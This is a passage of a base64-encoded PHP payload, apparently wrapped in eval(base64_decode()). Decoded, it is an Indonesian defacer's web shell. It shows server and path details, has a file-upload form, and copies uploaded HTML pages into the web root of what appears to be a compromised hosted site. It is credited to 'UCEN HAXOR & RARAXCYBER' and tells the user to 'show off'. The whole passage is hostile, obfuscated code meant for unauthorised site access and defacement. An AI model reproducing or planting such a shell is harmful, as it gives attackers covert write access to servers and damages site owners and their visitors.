ICB9DQoNCiAgaWYgKGN1cnJfaG91ciA+IDEyKSB7DQoNCiAgY3Vycl9ob3VyID0gY3Vycl9ob3VyIC0gMTI7DQoNCiAgfQ0KDQogIGN1cnJfaG91ciA9IGNoZWNrVGltZShjdXJyX2hvdXIpOw0KDQogIGN1cnJfbWludXRlID0gY2hlY2tUaW1lKGN1cnJfbWludXRlKTsNCg0KICBjdXJyX3NlY29uZCA9IGNoZWNrVGltZShjdXJyX3NlY29uZCk7DQoNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNsb2NrIikuaW5uZXJIVE1MPWN1cnJfaG91ciArICI6IiArIGN1cnJfbWludXRlICsgIjoiICsgY3Vycl9zZWNvbmQgKyAiICIgKyBhX3A7DQoNCiAgfQ0KDQogIA0KDQogIGZ1bmN0aW9uIGNoZWNrVGltZShpKSB7DQoNCiAgaWYgKGkgPCAxMCkgew0KDQogIGkgPSAiMCIgKyBpOw0KDQogIH0NCg0KICByZXR1cm4gaTsNCg0KICB9DQoNCiAgc2V0SW50ZXJ2YWwoc2hvd1RpbWUsIDUwMCk7DQoNCiAgDQoNCiAgPC9zY3JpcHQ+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCg0KICANCg0KICB2YXIgbW9udGhzID0gWyJKYW51YXJ5IiwgIkZlYnJ1YXJ5IiwgIk1hcmNoIiwgIkFwcmlsIiwgIk1heSIsICJKdW5lIiwgIkp1bHkiLCAiQXVndXN0IiwgIlNlcHRlbWJlciIsICJPY3RvYmVyIiwgIk5vdmVtYmVyIiwgIkRlY2VtYmVyIl07DQoNCiAgdmFyIG15RGF5cyA9IFsiU3VuZGF5IiwgIk1vbmRheSIsICJUdWVzZGF5IiwgIldlZG5lc2RheSIsICJUaHVyc2RheSIsICJGcmlkYXkiLCAiU2F0dXJkYXkiXTsNCg0KICB2YXIgZGF0ZSA9IG5ldyBEYXRlKCk7DQoNCiAgdmFyIGRheSA9IGRhdGUuZ2V0RGF0ZSgpOw0KDQogIHZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKTsNCg0KICB2YXIgdGhpc0RheSA9IGRhdGUuZ2V0RGF5KCksDQoNCiAgdGhpc0RheSA9IG15RGF5c1t0aGlzRGF5XTsNCg0KICB2YXIgeXkgPSBkYXRlLmdldFllYXIoKTsNCg0KICB2YXIgeWVhciA9ICh5eSA8IDEwMDApID8geXkgKyAxOTAwIDogeXk7DQoNCiAgZG9jdW1lbnQud3JpdGUodGhpc0RheSArICIsICIgKyBkYXkgKyAiICIgKyBtb250aHNbbW9udGhdICsgIiAiICsgeWVhcik7DQoNCiAgDQoNCiAgPC9zY3JpcHQ+IDwvZm9udD4gPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+DQoNCiAgICAgPGJyPg0KDQo8Zm9udCBjb2xvcj1yZWQ+TGludXggOTQzMDIudXMtaW1tLW5vZGU1YS4wMDB3ZWJob3N0LmlvIDMuMTAuMC0xMTYwLjQ1LjEuZWw3Lng4Nl82NCAjMSBTTVAgV2VkIE9jdCAxMyAxNzoyMDo1MSBVVEMgMjAyMSB4ODZfNjQ8L2ZvbnQ+PGJyPjxmb250IGNvbG9yPSJyZWQiPlBhdGggOiA8L2ZvbnQ+IDxiPjxmb250IGNvbG9yPSJyZWQiPjxhIGhyZWY9Ij9wYXRoPS8iPi88L2E+PGI+PGZvbnQgY29sb3I9InJlZCI+PGEgaHJlZj0iP3BhdGg9L3N0b3JhZ2UiPnN0b3JhZ2U8L2E+LzwvZm9udD48L2I+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0iPyI+WyBIb21lIF08L2E+PGhyIGNvbG9yPXJlZD4NCg0KCTxjZW50ZXI+PGI+PGZvbnQgY29sb3I9InJlZCIgc2l6ZT01IGZhY2U9IktlbGx5IFNsYWIiPjxkaXYgMHB4PSIiIDEycHg9IiIgS2VsbHkgU2xhYj0iIiBjb2xvcjo9IiIgZmZmPSIiIGZvbnQ6PSIiIGlkPSJ0ZXh0RGVzdGluYXRpb24iIG1hcmdpbjo9IiIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IG5vbmU7IiBmb250LWZhbWlseTo9IlBhdHJpY2sgSGFuZCI+PC9kaXY+PC9mb250PjwvYj4gPHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+DQoNCmphdmFzY3JpcHQ6c3RhcnRUeXBpbmcodGV4dCwgNTAsICJ0ZXh0RGVzdGluYXRpb24iKTsNCg0KPC9zY3JpcHQ+PC9kaXY+PC9jZW50ZXI+DQoNCiAgICAgCTxiPjxmb3JtIG5hbWU9Im15Zm9ybSIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIj4NCg0KICAgICAgIDxwIGFsaWduPSJsZWZ0Ij4gPGZvbnQgY29sb3I9InJlZCIgZmFjZT0iS2VsbHkgU2xhYiIgc2l6ZT0iNSI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Q2hvb3NlIE51bWJlciBvZiBGaWxlczwvZm9udD4mbmJzcDsmbmJzcDs8c2VsZWN0IG5hbWU9Imp1bWZpbGUiIG9uY2hhbmdlPSJzaG93KCkiPiAgIA0KDQogICAgICAgCTxvcHRpb24gdmFsdWU9IiIgZGlzYWJsZWQgc2VsZWN0ZWQ+MDwvb3B0aW9uPg0KDQogICAgICAgCTxvcHRpb24gdmFsdWU9IjEiPjE8L29wdGlvbj4NCg0KICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMiI+Mjwvb3B0aW9uPg0KDQogICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSIzIj4zPC9vcHRpb24+DQoNCiAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjQiPjQ8L29wdGlvbj4NCg0KICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNSI+NTwvb3B0aW9uPg0KDQogICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSI2Ij42PC9vcHRpb24+DQoNCiAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjciPjc8L29wdGlvbj4NCg0KICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iOCI+ODwvb3B0aW9uPg0KDQogICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSI5Ij45PC9vcHRpb24+DQoNCiAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEwIj4xMDwvb3B0aW9uPg0KDQogICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSIxMSI+MTE8L29wdGlvbj4NCg0KICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMTIiPjEyPC9vcHRpb24+DQoNCiAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEzIj4xMzwvb3B0aW9uPg0KDQogICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSIxNCI+MjQ8L29wdGlvbj4NCg0KICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMTUiPjE1PC9vcHRpb24+DQoNCiAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjE2Ij4xNjwvb3B0aW9uPg0KDQogICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSIxNyI+MTc8L29wdGlvbj4NCg0KICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMTgiPjE4PC9vcHRpb24+DQoNCiAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjE5Ij4xOTwvb3B0aW9uPg0KDQogICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSIyMCI+MjA8L29wdGlvbj4NCg0KICAgICAgICA8L3NlbGVjdD48L3A+DQoNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgIAkJPGRpdiBjbGFzcz0icm93Ij4NCiAgICAJCQk8ZGl2IGNsYXNzPSJjb2wiPg0KICAgIAkJCQk8aW5wdXQgaWQ9InByZXZpZXdzIiBwbGFjZWhvbGRlcj0iUGlsaWggRmlsZSIgY2xhc3M9ImZvcm0tY29udHJvbCBiZy10cmFuc3BhcmVudCB0ZXh0LXdoaXRlIiByZWFkb25seT0icmVhZG9ubHkiPg0KICAgIAkJCTwvZGl2Pg0KICAgIAkJCQ0KICAgIAkJCTxkaXYgY2xhc3M9ImNvbCI+DQogICAgCQkJCTxkaXYgY2xhc3M9ImlucHV0LWdyb3VwIj4NCiAgICAJCQkJCTxkaXYgY2xhc3M9ImN1c3RvbS1maWxlIj4NCiAgICAJCQkJCQk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0icmFuZHN4IiBjbGFzcz0iY3VzdG9tLWZpbGUtaW5wdXQgYmctdHJhbnNwYXJlbnQiIGlkPSJGaWxlU2VsIj4NCiAgICAJCQkJCQk8bGFiZWwgY2xhc3M9ImN1c3RvbS1maWxlLWxhYmVsIGJnLXRyYW5zcGFyZW50IiBmb3I9InByZXZpZXdzIj48L2xhYmVsPg0KICAgIAkJCQkJPC9kaXY+DQogICAgCQkJCTwvZGl2Pg0KICAgIAkJCTwvZGl2Pg0KICAgIAkJPC9kaXY+DQogICAgCQk8Y2VudGVyPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ik1BWF9GSUxFX1NJWkUiIHZhbHVlPSI5OTk5OTk5OTk5OTk5OTk5IiAvPg0KDQogICAgICAgIDxkaXYgY2xhc3M9Im5nb3RheCI+PGRpdiBpZD0ic2VsZWN0ZmlsZSI+PC9kaXY+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibiIgLz48L2Rpdj4NCg0KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InVwbG9hZCIgdmFsdWU9IlVwbG9hZCIgc3R5bGU9IndpZHRoOiA1MCU7IGhlaWdodDogMzBweDsgdGV4dC1hbGlnbjogY2VudGVyOyBmb250LXNpemU6IDE1cHg7IiAvPg0KDQogICAgPC9mb3JtPjwvY2VudGVyPg0KDQo8P3BocA0KCSRzZXJ2ZXIgICA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107DQoJJG5hbWFGaWxlID0gJF9GSUxFU1sncmFuZHN4J11bJ25hbWUnXTsNCgkkZ2V0Y3dkICAgPSAiJHNlcnZlci8kbmFtYUZpbGUiOw0KCSR0eXBlRXh0ICA9IHBhdGhpbmZvKCRuYW1hRmlsZSwgUEFUSElORk9fRVhURU5TSU9OKTsNCmlmKGlzc2V0KCRfUE9TVFsndXBsb2FkJ10pKXsNCmlmKCRuYW1hRmlsZSAhPT0gJycpew0KCWlmKGlzX3dyaXRhYmxlKCRzZXJ2ZXIpKXsNCgkJaWYoJHR5cGVFeHQgPT09ICdodG1sJyl7DQoJCQlpZigkbmFtYUZpbGUgIT09ICdpbmRleCcpew0KCQkJCWlmKEBjb3B5KCRfRklMRVNbJ3JhbmRzeCddWyd0bXBfbmFtZSddLCAkZ2V0Y3dkKSl7DQoJCQkJCSRha3NlcyA9ICdodHRwOi8vJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJy8nOw0KCQkJCQllY2hvICc8c2NyaXB0PnN3YWwoIkJlcmhhc2lsIiwgIlNpbGFoa2FuIFNob3cgb2ZmIiwgInN1Y2Nlc3MiKTwvc2NyaXB0Pic7DQoJCQkJCWVjaG8gJzxhIGhyZWY9IicuJGFrc2VzLiRuYW1hRmlsZS4nIiB0YXJnZXQ9Il9ibGFuayI+SGFzaWw/PyBrbGlrIG1lPC9hPic7DQoJCQkJfWVsc2V7DQoJCQkJCWVjaG8gJzxzY3JpcHQ+c3dhbCgiV2t3ayBHYWdhbCIsICJGYWt0b3IgRmFjZSwgTWF5YmUiLCAiZXJyb3IiPC9zY3JpcHQ+JzsNCgkJCQl9DQoJCQl9ZWxzZXsNCgkJCQllY2hvICc8c2NyaXB0PnN3YWwoIk1hdSBOZ2luZGV4Pz8iLCAiR2FiaXNhIExhaCBLT05UT0whISEiLCAiZXJyb3IiKTwvc2NyaXB0Pic7DQoJCQl9DQoJCX1lbHNlew0KCQkJZWNobyAnPHNjcmlwdD5zd2FsKCJBcGFzaWg/PyIsICJGaWxlIGV4dCBIYXJ1cyBIdG1sIEJuZ3NkIiwgImluZm8iKTwvc2NyaXB0Pic7DQoJCQl9DQoJCX1lbHNlew0KCQkJZWNobyAnPHNjcmlwdD5zd2FsKCJHYWdhbCBHYXkobikiLCAiU2VydmVyIE5vdCBTdXBwb3J0IiwgImVycm9yIik8L3NjcmlwdD4nOw0KCQl9DQoJfWVsc2V7DQoJCWVjaG8gJzxzY3JpcHQ+c3dhbCgiSGFoaD8/IiwgIk1hdSB1cGxvYWQgYXBhYW4/PyIsICJpbmZvIik8L3NjcmlwdD4nOw0KCX0NCn0NCj8+DQo8Zm9vdGVyPg0KCTxib2R5IGRpcj0ibHRyIiBhbGluaz0iIzAwRkZGRiIgYmFja2dyb3VuZD0idHJhbnNwYXJhbiIgYmdjb2xvcj0iIzAwMDAwMCIgbGluaz0iZ3JleSIgdGV4dD0iZ3JleSIgdmxpbms9IndoaXRlIj4NCkNvZGVkIEJ5IDxmb250IGNvbG9yPSIjMDBGRkZGIj48YSBocmVmPSJodHRwczovL3d3dy5mYWNlYm9vay5jb20vb2tpZ250ZW5nLmdudGVuZy4xIj5VQ0VOIEhBWE9SICYgUkFSQVhDWUJFUjwvZm9udD4NCjwvZm9vdGVyPg0KICAgIDwvZGl2Pg0KCQk8c2NyaXB0Pg0KCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ0ZpbGVTZWwnKS5vbmNoYW5nZSA9IGZ1bmN0aW9uKCkNCgkJCXsNCgkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncHJldmlld3MnKS52YWx1ZSA9IHRoaXMudmFsdWU7DQoJCQl9Ow0KCQkJDQoJCQkkKCcuYnRuJykub24oJ2NsaWNrJywgZnVuY3Rpb24oKXsNCgkJCQl2YXIgJHRoaXMgPSAkKHRoaXMpOw0KCQkJCSR0aGlzLmJ1dHRvbignbG9hZGluZycpOw0KCQkJfSk7DQoJCQkNCgkJPC9zY3JpcHQ+DQogIDwvYm9keT4NCjwvaHRtbD4="));?>